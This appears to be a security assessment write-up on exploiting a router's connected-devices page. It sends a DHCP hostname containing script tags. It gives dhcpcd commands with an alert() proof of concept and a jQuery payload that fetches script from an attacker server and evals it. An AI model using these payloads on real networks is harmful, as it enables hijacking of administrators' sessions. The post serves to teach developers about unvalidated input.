During a security assessment, we sometimes need to think outside of the box in order to find interesting and impactful exploits. To aid us in this, we can use protocol standards as a roadmap to assumptions that may be built into a piece of software. Oftentimes, breaking those assumptions means breaking the software. Software may be secure when well-behaved peers follow protocols standards, but have a vulnerability when they do not.
We recently had a good example of this concept on an assessment, where we violated the DHCP standard in order to perform Cross-Site Scripting (XSS) on a router’s admin interface page.
The router that we were testing, like many others, had a section of the web interface dedicated to listing the devices that were connected to the network. The devices are represented by their hostname — a field the router receives during DHCP IP address negotiation. This raises two very important questions: 1) what are the expected characters in a hostname; and 2) are the hostnames validated or escaped in any way?
1. A “name” (Net, Host, Gateway, or Domain name) is a text string
up to 24 charactersdrawn from the alphabet (A-Z), digits (0-9), minus sign (-), and period (.). Note that periods are only allowed when they serve to delimit components of “domain style names”. (See RFC-921, “Domain Name System Implementation Schedule”, for background). No blank or space characters are permitted as part of a name. No distinction is made between upper and lower case. The first character must be an alpha character. The last character must not be a minus sign or period.
The syntax of a legal Internet host name was specified in RFC-952. One aspect of host name syntax is hereby changed: the restriction on the first character is relaxed to allow either a letter or a digit. Host software MUST support this more liberal syntax.
Host software MUST handle host names of up to 63 characters and SHOULD handle host names of up to 255 characters.
What would happen if we sent a DHCP request containing an invalid hostname? It may not be expected by the router. If invalid characters aren’t escaped, then this could lead to anything from remote code execution, to crashing the router — to XSS.
On this assessment, we needed find a way to create and send a non-compliant request. Our first thought was to use a Raspberry Pi. We set the hostname in
<script>alert()</script> and restarted the networking service. This simple approach did not work. The invalid hostname caused the networking service to crash. This was not the vulnerability we were hoping for! We then tried using various DHCP clients, and found that some validated the hostname but others did not. In the end, we settled on using
dhcpcd, as it did not perform any hostname validation. We were able to trigger a DHCP renegotiation at any time by simply running the following:
sudo dhcpcd -n <interface> -h "<script>alert()</script>"
<interface> is the networking interface connected to the router being tested.
Upon sending the payload, a refresh of the web interface on the router triggered the alert payload. XSS success! Our guess had been correct — the router did not anticipate or handle the invalid hostname. However, we still needed to figure out what restrictions were in place, if any, that could prevent us from creating a usable proof of concept (POC).
<script src=OUR_SERVER></script> would not work. That said, some browsers will have the same behavior when replacing the space with a slash like
In testing, we noticed that this web interface imported jQuery and therefore allowed us to use it during our exploit. We decided to use jQuery to create the following more robust payload:
sudo dhcpcd -n <interface> -h "<script>$.get('//localhost',(d,s)=>eval(d))</script>"
localhost would be replaced with the address of the server.
This case study shows a good example of why protocol standards are not security mechanisms. While legitimate traffic should always follow the DHCP standard, there is nothing stopping an attacker from sending malicious traffic that intentionally includes illegal characters. At the end of the day, developers must always be careful about their assumptions. Otherwise, the standards will just give attackers a playbook for exploitation.